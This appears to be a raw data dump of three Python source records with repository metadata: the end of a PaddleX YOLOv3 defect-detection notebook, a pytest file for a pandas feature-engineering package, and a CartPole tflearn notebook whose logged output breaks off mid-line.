API\u8bf4\u660e\uff1ahttps://github.com/PaddlePaddle/PaddleX/blob/release/2.0-rc/paddlex/cv/transforms/operators.py\ntrain_transforms = T.Compose([\n    T.MixupImage(mixup_epoch=250), T.RandomDistort(),\n    T.RandomExpand(im_padding_value=[123.675, 116.28, 103.53]), T.RandomCrop(),\n    T.RandomHorizontalFlip(), T.BatchRandomResize(\n        target_sizes=[320, 352, 384, 416, 448, 480, 512, 544, 576, 608],\n        interp='RANDOM'), T.Normalize(\n            mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n])\n\neval_transforms = T.Compose([\n    T.Resize(\n        608, interp='CUBIC'), T.Normalize(\n            mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n])\n\n\n# In[ ]:\n\n\n# \u5b9a\u4e49\u8bad\u7ec3\u548c\u9a8c\u8bc1\u6240\u7528\u7684\u6570\u636e\u96c6\n# API\u8bf4\u660e\uff1ahttps://github.com/PaddlePaddle/PaddleX/blob/release/2.0-rc/paddlex/cv/datasets/voc.py#L29\ntrain_dataset = pdx.datasets.VOCDetection(\n    data_dir='MyDataset',\n    file_list='MyDataset/train_list.txt',\n    label_list='MyDataset/labels.txt',\n    transforms=train_transforms,\n    shuffle=True)\n\neval_dataset = pdx.datasets.VOCDetection(\n    data_dir='MyDataset',\n    file_list='MyDataset/val_list.txt',\n    label_list='MyDataset/labels.txt',\n    transforms=eval_transforms,\n    shuffle=False)\n\n\n# In[ ]:\n\n\n# \u521d\u59cb\u5316\u6a21\u578b\uff0c\u5e76\u8fdb\u884c\u8bad\u7ec3\n# \u53ef\u4f7f\u7528VisualDL\u67e5\u770b\u8bad\u7ec3\u6307\u6807\uff0c\u53c2\u8003https://github.com/PaddlePaddle/PaddleX/tree/release/2.0-rc/tutorials/train#visualdl\u53ef\u89c6\u5316\u8bad\u7ec3\u6307\u6807\nnum_classes = len(train_dataset.labels)\nmodel = pdx.models.YOLOv3(num_classes=num_classes, backbone='MobileNetV3_ssld')\n\n\n# In[ ]:\n\n\n# API\u8bf4\u660e\uff1ahttps://github.com/PaddlePaddle/PaddleX/blob/release/2.0-rc/paddlex/cv/models/detector.py#L155\n# \u5404\u53c2\u6570\u4ecb\u7ecd\u4e0e\u8c03\u6574\u8bf4\u660e\uff1ahttps://paddlex.readthedocs.io/zh_CN/develop/appendix/parameters.html\nmodel.train(\n    num_epochs=300,\n    train_dataset=train_dataset,\n    train_batch_size=2,\n    eval_dataset=eval_dataset,\n    learning_rate=0.001 / 8,\n    warmup_steps=1000,\n    warmup_start_lr=0.0,\n    save_interval_epochs=20,\n    lr_decay_epochs=[216, 243, 275],\n    save_dir='output/yolov3_mobilenet')\n\n\n# ## \u4e94\u3001\u6a21\u578b\u8bc4\u4f30\n# \u8be5\u90e8\u5206\u4e3b\u8981\u662f\u5bf9\u8bad\u7ec3\u597d\u7684\u6a21\u578b\u8fdb\u884c\u8bc4\u4f30\uff0c\u53ef\u4ee5\u662f\u7528\u9a8c\u8bc1\u96c6\u8fdb\u884c\u8bc4\u4f30\uff0c\u6216\u8005\u662f\u76f4\u63a5\u9884\u6d4b\u7ed3\u679c\u3002\u8bc4\u4f30\u7ed3\u679c\u548c\u9884\u6d4b\u7ed3\u679c\u5c3d\u91cf\u5c55\u793a\u51fa\u6765\uff0c\u589e\u52a0\u5438\u5f15\u529b\u3002\n\n# In[ ]:\n\n\nimport glob\nimport numpy as np\nimport threading\nimport time\nimport random\nimport os\nimport base64\nimport cv2\nimport json\nimport paddlex as pdx\n\nimage_name = 'MyDataset/JPEGImages/pitted_surface_174.jpg'\n\nmodel = pdx.load_model('output/yolov3_mobilenet/best_model')\n\nimg = cv2.imread(image_name)\nresult = model.predict(img)\n\nkeep_results = []\nareas = []\nf = open('output/yolov3_mobilenet/result.txt','a')\ncount = 0\nfor dt in np.array(result):\n    cname, bbox, score = dt['category'], dt['bbox'], dt['score']\n    if score < 0.5:\n        continue\n    keep_results.append(dt)\n    count+=1\n    f.write(str(dt)+'\\n')\n    f.write('\\n')\n    areas.append(bbox[2] * bbox[3])\nareas = np.asarray(areas)\nsorted_idxs = np.argsort(-areas).tolist()\nkeep_results = [keep_results[k]\n                for k in sorted_idxs] if len(keep_results) > 0 else []\nprint(keep_results)\nprint(count)\nf.write(\"the total number is :\"+str(int(count)))\nf.close()\n\n\n# In[ ]:\n\n\npdx.visualize_detection(image_name, result, threshold=0.5, save_dir='./output/yolov3_mobilenet')\n\n\n# ## \u516d\u3001\u603b\u7ed3\u4e0e\u5347\u534e\n# \u672c\u6587\u53c2\u8003\u4f5c\u8005https://aistudio.baidu.com/aistudio/personalcenter/thirdview/791590 \u9879\u76ee\u6765\u5199\u7684\uff0c\u901a\u8fc7\u672c\u6b21\u9879\u76ee\u7f16\u5199\uff0c\u5b66\u4e60\u4e86\u7f16\u5199\u9879\u76ee\u7684\u6d41\u7a0b\u4ee5\u53caBML\u4f7f\u7528\u65b9\u6cd5\u3002\u672c\u4eba\u521a\u5f00\u59cb\u5165\u95e8\u673a\u5668\u5b66\u4e60\uff0c\u8fd8\u6709\u5f88\u591a\u9700\u8981\u5b66\u4e60\u7684\u5730\u65b9\u3002\u611f\u8c22\u521b\u9020\u8425\u7684\u8001\u5e08\uff0c\u5e0c\u671b\u4ee5\u540e\u81ea\u5df1\u80fd\u591f\u72ec\u7acb\u5b8c\u6210\u6a21\u578b\u7684\u8bad\u7ec3\u4e0e\u90e8\u7f72\u3002![](https://ai-studio-static-online.cdn.bcebos.com/8f411a2beffb408c9f56054dffa2b7ee6945a414c01a484a97ada7c0172d916b)\n# \n\n# ## \u63d0\u4ea4\u94fe\u63a5\n# aistudio\u94fe\u63a5\uff1a\u6211\u5728AI Studio\u4e0a\u83b7\u5f97\u767d\u94f6\u7b49\u7ea7\uff0c\u70b9\u4eae2\u4e2a\u5fbd\u7ae0\uff0c\u6765\u4e92\u5173\u5440~ https://aistudio.baidu.com/aistudio/usercenter\n# \n# github\u94fe\u63a5\uff1a\n# \n# gitee\u94fe\u63a5\uff1a\n", "meta": {"hexsha": "14f171c8db8e6e9afe7fc90df399a06e47c234f2", "size": 5584, "ext": "py", "lang": "Python", "max_stars_repo_path": "main.py", "max_stars_repo_name": "leechenggg/Tom.Li", "max_stars_repo_head_hexsha": "ccbd731e79b927b2f32c182c68b72ff28c8b09e6", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "main.py", "max_issues_repo_name": "leechenggg/Tom.Li", "max_issues_repo_head_hexsha": "ccbd731e79b927b2f32c182c68b72ff28c8b09e6", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "main.py", "max_forks_repo_name": "leechenggg/Tom.Li", "max_forks_repo_head_hexsha": "ccbd731e79b927b2f32c182c68b72ff28c8b09e6", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 27.1067961165, "max_line_length": 355, "alphanum_fraction": 0.7371060172, "include": true, "reason": "import numpy", "num_tokens": 2728, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.21733751090819795, "lm_q2_score": 0.23934935817440722, "lm_q1q2_score": 0.052019593743100404}}
{"text": "import pandas as pd\nimport numpy as np\nimport pytest\n\nfrom features_creator.features_creator import *\n\n@pytest.fixture\ndef data_df():\n    data = {\n        \"week_payment1\": [1.0, 2, 3],\n        \"week_payment2\": [4, 5.0, 6],\n        \"week_payment3\": [7, 8, 9.0],\n        \"othercolumn\": [1, 1, 1]}\n    df = pd.DataFrame(data)\n    return df\n\n\ndef test_calculate_average(data_df):\n\n    # Test for TypeError\n    with pytest.raises(TypeError):\n        # check if TypeError is raised when data is not a pandas dataframe\n        calculate_average(1, \"week_payment\")\n        # check if TypeError is raised when pattern is not a string\n        calculate_average(data_df, 1)\n    \n    # Test for ValueError\n    with pytest.raises(ValueError):\n        # check if ValueError is raised when pattern is not a string\n        calculate_average(data_df, \"\")\n        # check if ValueError is raised when columns not found\n        calculate_average(data_df, \"not_a_column\")\n\n    # Test for return type\n    assert isinstance(calculate_average(data_df, \"week_payment\"), np.ndarray)\n\n    # Test the function with a dataframe with only one column\n    data_1col = {\n        \"week_payment1\": [1, 2, 3]}\n    df_1col = pd.DataFrame(data_1col)\n    assert np.array_equal(calculate_average(\n        df_1col, \"week_payment\"), np.array([1, 2, 3]))\n\n    # Test the function return correct value when there is only one row\n    data_1row = {\n        \"week_payment1\": [1]}\n    df_1row = pd.DataFrame(data_1row)\n    assert np.array_equal(calculate_average(\n        df_1row, \"week_payment\"), np.array([1]))\n    \n\n    # Test the function return correct value \n    assert np.array_equal(calculate_average(\n        data_df, \"week_payment\"), np.array([4, 5, 6]))\n\n\ndef test_get_matching_column_names():\n    \"\"\"\n    Tests the `get_matching_column_names` function.\n    Verifies that it raises the correct exceptions, works in\n    \"normal\" usage, and does not return any extra columns.\n    \"\"\"\n    test_df = pd.DataFrame({\n        \"week_payment1\": [1, 2, 3],\n        \"week_payment2\": [1, 2, 3],\n        \"week_payment3\": [1, 2, 3],\n        \"othercolumn\": [5, 6, 7],\n        \"week_payment_string4\": [5, 6, 7]\n    })\n\n    # Returns the correct type\n    assert isinstance(get_matching_column_names(\n        test_df, \"week_payment\"), list), \"Returned the wrong data type\"\n\n    # Does not return extra columns\n    assert \"othercolumn\" not in get_matching_column_names(\n        test_df, \"week_payment\"), \"`othercolumn` was returned\"\n    assert \"week_payment_string7\" not in get_matching_column_names(\n        test_df, \"week_payment\"), \"`week_payment_string7` was returned\"\n\n    # Raises exceptions for wrong types\n    with pytest.raises(TypeError):\n        get_matching_column_names(\"FakeDF\", \"week_payment\")\n        get_matching_column_names(test_df, [12, 34])\n\n    # Raises an exception for no matches\n    with pytest.raises(ValueError):\n        get_matching_column_names(test_df, \"fake_string\")\n\n    # Normal usage test\n    assert get_matching_column_names(test_df, \"week_payment\") == [\n        \"week_payment1\", \"week_payment2\", \"week_payment3\"], \"Incorrect columns were returned\"\n\n\n\ntest_df = pd.DataFrame({\n        \"week_payment1\": [1.0, 2, 3],\n        \"week_payment2\": [4, 5.0, 6],\n        \"week_payment3\": [7, 8, 9.0],\n        \"othercolumn\": [1, 1, 1]\n})\n\n@pytest.mark.parametrize(\n    'json',\n    (\n        ### Check data type of the first argument:data\n        {\"data\": 3.141, \"pattern\": \"week_payment\", \"check\": \"TypeErrorInput1\"},\n        {\"data\": \"test.txt\", \"pattern\": \"week_payment\", \"check\": \"TypeErrorInput1\"},\n        {\"data\": [\"list\", \"of\", \"words\"], \"pattern\": \"week_payment\", \"check\": \"TypeErrorInput1\"},\n        ### Check data type of the second argument:pattern\n        {\"data\": test_df, \"pattern\": 3.14, \"check\": \"TypeErrorInput2\"},\n        {\"data\": test_df, \"pattern\": pd.DataFrame([]), \"check\": \"TypeErrorInput2\"},\n        {\"data\": test_df, \"pattern\": [\"list\", \"of\", \"words\"], \"check\": \"TypeErrorInput2\"},\n        ### Check if the dataframe has non-numeric values\n        {\"data\": test_df.astype(str), \"pattern\": \"week_payment\", \"check\": \"TypeErrorNumeric\"},\n        \n        ### Check data type of the output\n        {\"data\": test_df, \"pattern\": \"week_payment\", \"check\": \"TypeErrorOutput\"},\n        ### Check accuracy of the output\n        {\"data\": test_df, \"pattern\": \"week_payment\", \"check\": \"AccuracyOutput\"}\n    )\n)\ndef test_calculate_standard_deviation(json):\n    \n    \"\"\"Check TypeError raised when input is not data frame.\"\"\"\n    \n    if json[\"check\"] == \"TypeErrorInput1\":\n        with pytest.raises(TypeError):\n            print(json[\"data\"], json[\"pattern\"])\n            calculate_standard_deviation(json[\"data\"], json[\"pattern\"])\n            \n\n    if json[\"check\"] == \"TypeErrorInput2\":\n        with pytest.raises(TypeError):\n            print(type(json[\"data\"]), json[\"pattern\"])\n            calculate_standard_deviation(json[\"data\"], json[\"pattern\"])\n            \n            \n    if json[\"check\"] == \"TypeErrorNumeric\":\n        with pytest.raises(TypeError):\n            print(type(json[\"data\"]), json[\"pattern\"])\n            calculate_standard_deviation(json[\"data\"], json[\"pattern\"])\n            \n            \n    if json[\"check\"] == \"TypeErrorOutput\":\n        assert isinstance(calculate_standard_deviation(json[\"data\"], json[\"pattern\"]), np.ndarray), \\\n            \"Returned the wrong data type, output should be numpy array\"\n            \n            \n    if json[\"check\"] == \"AccuracyOutput\":\n        # Test if the function return correct value when there is only one element\n        assert calculate_standard_deviation(test_df.iloc[0:1, 0:1], \"week_payment\") == np.array([0]), \\\n            \"Should return [0], if input data frame has only one element\"\n        # Test if the function return correct value when there is only one column\n        assert np.array_equal(calculate_standard_deviation(test_df.iloc[:, 0:1], \"week_payment\"), np.array([0]*test_df.shape[0])), \\\n            \"Should a column of 0, if input data frame has only one column\"\n        # Test if the function return correct value \n        print(calculate_standard_deviation(test_df, \"week_payment\"))\n        assert np.array_equal(calculate_standard_deviation(test_df, \"week_payment\"), np.array([6**0.5, 6**0.5, 6**0.5])), \\\n            \"The result is not right\"\n        \ndef test_calculate_percentage_change():\n    \"\"\"Test calculate_percentage_change function\"\"\"\n    # Create dataset\n    test_df = pd.DataFrame(\n        {\n            \"subscriber_id\": [1, 2, 3],\n            \"data_usage1\": [5, 10, 15],\n            \"data_usage2\": [20, 10, 10],\n            \"data_usage3\": [25, 10, 5],\n            \"data_usage4\": [15, 20, 25],\n        }\n    )\n\n    # Raises errors for wrong input type\n    with pytest.raises(TypeError):\n        # Check df\n        calculate_percentage_change([1, 2, 3, 4], \"data_usage\")\n\n    with pytest.raises(TypeError):\n        # Check pattern\n        calculate_percentage_change(test_df, [\"data_usage\"])\n\n    with pytest.raises(TypeError):\n        # Check compare_period\n        calculate_percentage_change(test_df, \"data_usage\", compare_period=\"1, 1\")\n\n    with pytest.raises(TypeError):\n        # Check time_filter\n        calculate_percentage_change(\n            test_df, \"data_usage\", compare_period=(1, 1), time_filter=\"1, 3\"\n        )\n\n    # Check Value error\n    with pytest.raises(ValueError):\n        calculate_percentage_change(test_df, \"data_usage\", compare_period=(1, 4))\n\n    with pytest.raises(ValueError):\n        calculate_percentage_change(\n            test_df, \"data_usage\", compare_period=(1, 1), time_filter=(1, 5)\n        )\n\n    # Check return type\n    assert isinstance(calculate_percentage_change(test_df, \"data_usage\"), np.ndarray)\n\n    assert isinstance(\n        calculate_percentage_change(\n            test_df, \"data_usage\", compare_period=(1, 1), time_filter=(1, 3)\n        ),\n        np.ndarray,\n    )\n\n    # Check percentage_change return values\n    # Value for comparison are calculated manually using a online calculator\n    np.testing.assert_allclose(\n        calculate_percentage_change(test_df, \"data_usage\"),\n        np.array([-37.5, -33.33333333, -16.66666667]),\n    )\n    np.testing.assert_allclose(\n        calculate_percentage_change(test_df, \"data_usage\", compare_period=(1, 2)),\n        np.array([-77.77777778, 0.0, 100.0]),\n    )\n    np.testing.assert_allclose(\n        calculate_percentage_change(test_df, \"data_usage\", compare_period=(3, 1)),\n        np.array([11.11111111, -50.0, -60.0]),\n    )\n    np.testing.assert_allclose(\n        calculate_percentage_change(\n            test_df, \"data_usage\", compare_period=(1, 2), time_filter=(1, 3, 4)\n        ),\n        np.array([-75.0, -33.33333333, 0.0]),\n    )\n    np.testing.assert_allclose(\n        calculate_percentage_change(\n            test_df, \"data_usage\", compare_period=(1, 2), time_filter=(4, 2, 1)\n        ),\n        np.array([-71.42857143, -33.33333333, -14.28571429]),\n    )\n\n", "meta": {"hexsha": "27ddec53999228ff9ebf28480b0946138f820218", "size": 8956, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/test_features_creator.py", "max_stars_repo_name": "UBC-MDS/features_creator", "max_stars_repo_head_hexsha": "52d59f47cceccb9bd6198f264e44c3e7a8294087", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2022-01-12T21:05:06.000Z", "max_stars_repo_stars_event_max_datetime": "2022-01-12T21:05:06.000Z", "max_issues_repo_path": "tests/test_features_creator.py", "max_issues_repo_name": "UBC-MDS/features_creator", "max_issues_repo_head_hexsha": "52d59f47cceccb9bd6198f264e44c3e7a8294087", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 45, "max_issues_repo_issues_event_min_datetime": "2022-01-11T23:34:50.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-02T21:31:34.000Z", "max_forks_repo_path": "tests/test_features_creator.py", "max_forks_repo_name": "UBC-MDS/features_creator", "max_forks_repo_head_hexsha": "52d59f47cceccb9bd6198f264e44c3e7a8294087", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.3166666667, "max_line_length": 132, "alphanum_fraction": 0.6285171952, "include": true, "reason": "import numpy", "num_tokens": 2210, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41869690935568665, "lm_q2_score": 0.12421299700498413, "lm_q1q2_score": 0.05200759794779402}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# In[ ]:\n\n\n# \u67e5\u770b\u5f53\u524d\u6302\u8f7d\u7684\u6570\u636e\u96c6\u76ee\u5f55, \u8be5\u76ee\u5f55\u4e0b\u7684\u53d8\u66f4\u91cd\u542f\u73af\u5883\u540e\u4f1a\u81ea\u52a8\u8fd8\u539f\n# View dataset directory. This directory will be recovered automatically after resetting environment. \nget_ipython().system('ls /home/aistudio/data')\n\n\n# In[ ]:\n\n\n# \u67e5\u770b\u5de5\u4f5c\u533a\u6587\u4ef6, \u8be5\u76ee\u5f55\u4e0b\u7684\u53d8\u66f4\u5c06\u4f1a\u6301\u4e45\u4fdd\u5b58. \u8bf7\u53ca\u65f6\u6e05\u7406\u4e0d\u5fc5\u8981\u7684\u6587\u4ef6, \u907f\u514d\u52a0\u8f7d\u8fc7\u6162.\n# View personal work directory. All changes under this directory will be kept even after reset. Please clean unnecessary files in time to speed up environment loading.\nget_ipython().system('ls /home/aistudio/work')\n\n\n# In[1]:\n\n\nget_ipython().system('pip install gym')\n\n\n# In[ ]:\n\n\n#1. \u91c7\u7528\u6df1\u5ea6\u5b66\u4e60\u3001\u542f\u53d1\u5f0f\u641c\u7d22\u3001\u8fdb\u5316\u7b97\u6cd5\u3001\u5f3a\u5316\u5b66\u4e60\u4e2d\u7684\u4efb\u4e00\u79cd\u6216\u4e24\u79cd\uff0c\u89e3\u51b3gym\u7684cartpole-v0\u95ee\u9898\u3002\n#2. \u7f16\u5199\u5b9e\u9a8c\u62a5\u544a\uff08\u6a21\u7248\u5728work\u4e2d\uff09\uff0c\u8bf4\u660e\u81ea\u5df1\u5b9e\u73b0\u7684\u7b97\u6cd5\u7684\u57fa\u672c\u539f\u7406\u3001\u4ee3\u7801\u5206\u6790\u548c\u6027\u80fd\u5206\u6790\u3002\n#3. \u5b9e\u9a8c\u62a5\u544a\u4ee5\u9644\u4ef6\u7684\u5f62\u5f0f\u63d0\u4ea4\uff0c\u6587\u4ef6\u540d\u547d\u540d\u89c4\u5219\u4e3a\"\u5b66\u53f7\u59d3\u540d\u7b97\u6cd5\u4e0e\u7a0b\u5e8f\u8bbe\u8ba1\u5927\u4f5c\u4e1a.doc\"\n#4. \u4f5c\u4e1a\u63d0\u4ea4\u622a\u6b62\u65f6\u95f4\u4e3a\u7b2c16\u5468\u5468\u4e94\n\n\n# In[ ]:\n\n\n# \u4e3a\u4e86\u4fbf\u4e8e\u540c\u5b66\u4eec\u4fee\u6539\uff0c\u4e0b\u9762\u540c\u65f6\u7ed9\u51facartpole\u7684\u6e90\u4ee3\u7801\uff0c\u5982\u679c\u9700\u8981\u4fee\u6539reward\uff0c\u53ef\u5728\u4ee5\u4e0b\u4ee3\u7801\u57fa\u7840\u4e0a\u8fdb\u884c\u4fee\u6539\n\n\n# In[11]:\n\n\n# -*- coding: utf-8 -*-\n# Platform: Linux python3.6.8 gcc8.3\n# Linux Distribution: Linux Mint 19\n# tensorflow-gpu==1.15.0, gym\n# Author: Mijazz_Chan 2017326603075\n# Date: May 19, 2020  01:37 AM\n\nimport random\n\nimport gym\nimport numpy as np\nimport tensorflow as tf\nfrom numpy import mean\nimport tflearn\nfrom tflearn import input_data, fully_connected, regression, DNN, dropout\n\n# \u8d85\u53c2\n\n# \u5b66\u4e60\u901f\u7387\nlearning_rate = 0.0011\nenv = gym.make('CartPole-v0')\nenv.reset()\n# \u5b66\u4e60\u6240\u9700\u7684\u6b65\u6570(random\u65f6\u4e00\u822c\u90fd\u88abdone flag \u9000\u51fa, \u4e0d\u9700\u8fc7\u4e8e\u5728\u610f)\nsteps_for_learn = 500\n# \u6240\u53d6\u7684\u671f\u671b\u5206\u503c, \u9ad8\u4e8e\u5206\u503c\u5373\u4e3a\u6709\u6548\u7b56\u7565\nsatisfied_score = 80\n# \u5b66\u4e60\u6240\u9700\u7684\u6e38\u620f\u6b21\u6570(\u57fa\u51c6learn\u6b21\u6570, \u6839\u636egym repo, \u8be5\u503c\u8d8a\u4f4e\u8d8a\u597d)\ngames_for_learn = 20000\nepoch = 5\n\n# \u8bad\u7ec3\u6570\u636e\u6216\u5168\u5c40\u6570\u636e\n\n\n# def showgame():\n#     for _ in range(20):\n#         env.reset()\n#         # \u663e\u793a\u6548\u679c\u800c\u5df2, \u5e73\u5747\u5206\u6570\u4e00\u822c\u90fd\u4e0d\u4f1a\u9ad8\u4e8e100, \u6240\u4ee5\u7ed9100\u6b65\u90fd\u8db3\u591f\n#         for _ in range(200):\n#             env.render()\n#             # \u53c2\u7167\u5b98\u7f51\u4e0a\u5199\u6cd5, \u5177\u4f53\u8fd9\u4e2asample()\u63d0\u4f9b\u7684\u968f\u673a\u503c\u5230\u5e95\u6bd4random\u5305\u7684\u6709\u4ec0\u4e48\u4e0d\u4e00\u6837\u6ca1\u53bb\u8003\u7a76\n#             action = env.action_space.sample()\n#             observation, reward, done, info = env.step(action)\n#             if done:\n#                 break\n#\n# showgame()\n\nenv.reset()\n\n\ndef get_data_from_random_game():\n    # \u8bad\u7ec3\u6570\u636e, \u542b[observation, action]\n    train_data = []\n    # \u8bad\u7ec3\u7684\u7edf\u8ba1\u6210\u7ee9\n    scores = []\n    # \u8d85\u51fa\u9608\u503c\u7684\u6210\u7ee9\n    good_scores = []\n\n    for _ in range(games_for_learn):\n        score = 0\n        # \u5b58\u653e\u6bcf\u6b21\u6e38\u620f\u7684observation\u548caction\n        local_game_result = []\n        last_observation = []\n        for _ in range(steps_for_learn):\n            # \u751f\u4ea7\u968f\u673a\u65700,1\u6267\u884c\u6e38\u620f, \u4e0b\u9762\u518d\u5bf9\u9ad8\u4e8esatisfied\u7684\u5206\u6570\u8fdb\u884c\u5904\u7406\n            action = random.randint(0, 1)\n            observation, reward, done, info = env.step(action)\n            if len(last_observation) > 0:\n                local_game_result.append([last_observation, action])\n            last_observation = observation\n            score += reward\n            if done:\n                break\n\n        if score >= satisfied_score:\n            good_scores.append(score)\n            for result in local_game_result:\n                # One-hot \u6570\u636e\u7f16\u7801\u9884\u5904\u7406\n                if result[1] == 1:\n                    train_y = [0, 1]\n                else:\n                    train_y = [1, 0]\n                # Training data = [train_x, train_y]\n                # train_x = [observation], train_y = one-hot result\n                train_data.append([result[0], train_y])\n\n        # \u4e00\u6b21\u5faa\u73af\u4e0b\u6765\u540e\u7edf\u8ba1\u597d\u6570\u636e\u8df3\u51fa\u5e76\u7ee7\u7eed\u4e0b\u4e00\u6b21\u6e38\u620f\u73af\u5883\n        scores.append(score)\n        env.reset()\n\n    print('Random Games Score Avg -->', sum(good_scores) / len(good_scores))\n\n    return train_data\n\n\ntrain_data = get_data_from_random_game()\n# each_game[0] -> [observation]\n# each_game[1] -> one-hot encoded data output\ntrain_X = np.array([each_game[0] for each_game in train_data]).reshape(-1, len(train_data[0][0]), 1)\ntrain_Y = [each_game[1] for each_game in train_data]\n\n# \u4e3b\u6a21\u578b\u91c7\u7528tflearn\u7684API, \u6784\u5efa\u5feb\n# \u6ce8: dropout\u7684rate\u4e3aKeepRate, \u4e0ekeras\u4e0d\u540c\nnetwork = input_data(shape=[None, len(train_X[0]), 1], name='input')\n\nnetwork = fully_connected(network, 128, activation='relu')\nnetwork = dropout(network, 0.8)\n\nnetwork = fully_connected(network, 256, activation='relu')\nnetwork = dropout(network, 0.8)\n\nnetwork = fully_connected(network, 512, activation='relu')\nnetwork = dropout(network, 0.8)\n\nnetwork = fully_connected(network, 256, activation='relu')\nnetwork = dropout(network, 0.8)\n\nnetwork = fully_connected(network, 128, activation='relu')\nnetwork = dropout(network, 0.8)\n\nnetwork = fully_connected(network, 2, activation='softmax')\nnetwork = regression(network, optimizer='adam', learning_rate=learning_rate, loss='categorical_crossentropy')\nmodel = tflearn.DNN(network)\nmodel.fit(train_X, train_Y, n_epoch=epoch, snapshot_step=1000, show_metric=True)\n\ntest_scores = []\nactions = []\n\n# \u6d4b\u8bd5\nfor _ in range(100):\n    score = 0\n    env.reset()\n    # \u6d4b\u8bd5\u7b2c\u4e00\u6b65\u7ed9random, \u6839\u636eobservation\u6765predict action\n    last_observation, reward, done, info = env.step(random.randint(0, 1))\n    for _ in range(steps_for_learn):\n        action = np.argmax(model.predict(last_observation.reshape(-1, len(last_observation), 1))[0])\n        actions.append(action)\n        observation, reward, done, info = env.step(action)\n        last_observation = observation\n        score += reward\n        if done:\n            break\n\n    test_scores.append(score)\n\nresl = sum(test_scores) / len(test_scores)\nprint('Predicted Games Score Avg -->', resl)\n# if resl > 199:\n#     model.save('200.model')\n\n\n# ```\n# /home/mijazz/pyProject/tfenv/bin/python /home/mijazz/pyProject/openai-gym/gym-tf.py\n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/summarizer.py:9: The name tf.summary.merge is deprecated. Please use tf.compat.v1.summary.merge instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:25: The name tf.summary.FileWriter is deprecated. Please use tf.compat.v1.summary.FileWriter instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/collections.py:13: The name tf.GraphKeys is deprecated. Please use tf.compat.v1.GraphKeys instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/config.py:123: The name tf.get_collection is deprecated. Please use tf.compat.v1.get_collection instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/config.py:129: The name tf.add_to_collection is deprecated. Please use tf.compat.v1.add_to_collection instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/config.py:131: The name tf.assign is deprecated. Please use tf.compat.v1.assign instead.\n# \n# Random Games Score Avg --> 92.86666666666666\n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/layers/core.py:81: The name tf.placeholder is deprecated. Please use tf.compat.v1.placeholder instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/layers/core.py:145: The name tf.variable_scope is deprecated. Please use tf.compat.v1.variable_scope instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/initializations.py:174: calling TruncatedNormal.__init__ (from tensorflow.python.ops.init_ops) with dtype is deprecated and will be removed in a future version.\n# Instructions for updating:\n# Call initializer instance with the dtype argument instead of passing it to the constructor\n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/layers/core.py:239: calling dropout (from tensorflow.python.ops.nn_ops) with keep_prob is deprecated and will be removed in a future version.\n# Instructions for updating:\n# Please use `rate` instead of `keep_prob`. Rate should be set to `rate = 1 - keep_prob`.\n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/optimizers.py:238: The name tf.train.AdamOptimizer is deprecated. Please use tf.compat.v1.train.AdamOptimizer instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/objectives.py:66: calling reduce_sum_v1 (from tensorflow.python.ops.math_ops) with keep_dims is deprecated and will be removed in a future version.\n# Instructions for updating:\n# keep_dims is deprecated, use keepdims instead\n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/objectives.py:70: The name tf.log is deprecated. Please use tf.math.log instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/layers/estimator.py:189: The name tf.trainable_variables is deprecated. Please use tf.compat.v1.trainable_variables instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:571: The name tf.get_default_graph is deprecated. Please use tf.compat.v1.get_default_graph instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:115: The name tf.Session is deprecated. Please use tf.compat.v1.Session instead.\n# \n# 2020-05-19 23:55:41.140618: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcuda.so.1\n# 2020-05-19 23:55:41.157168: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 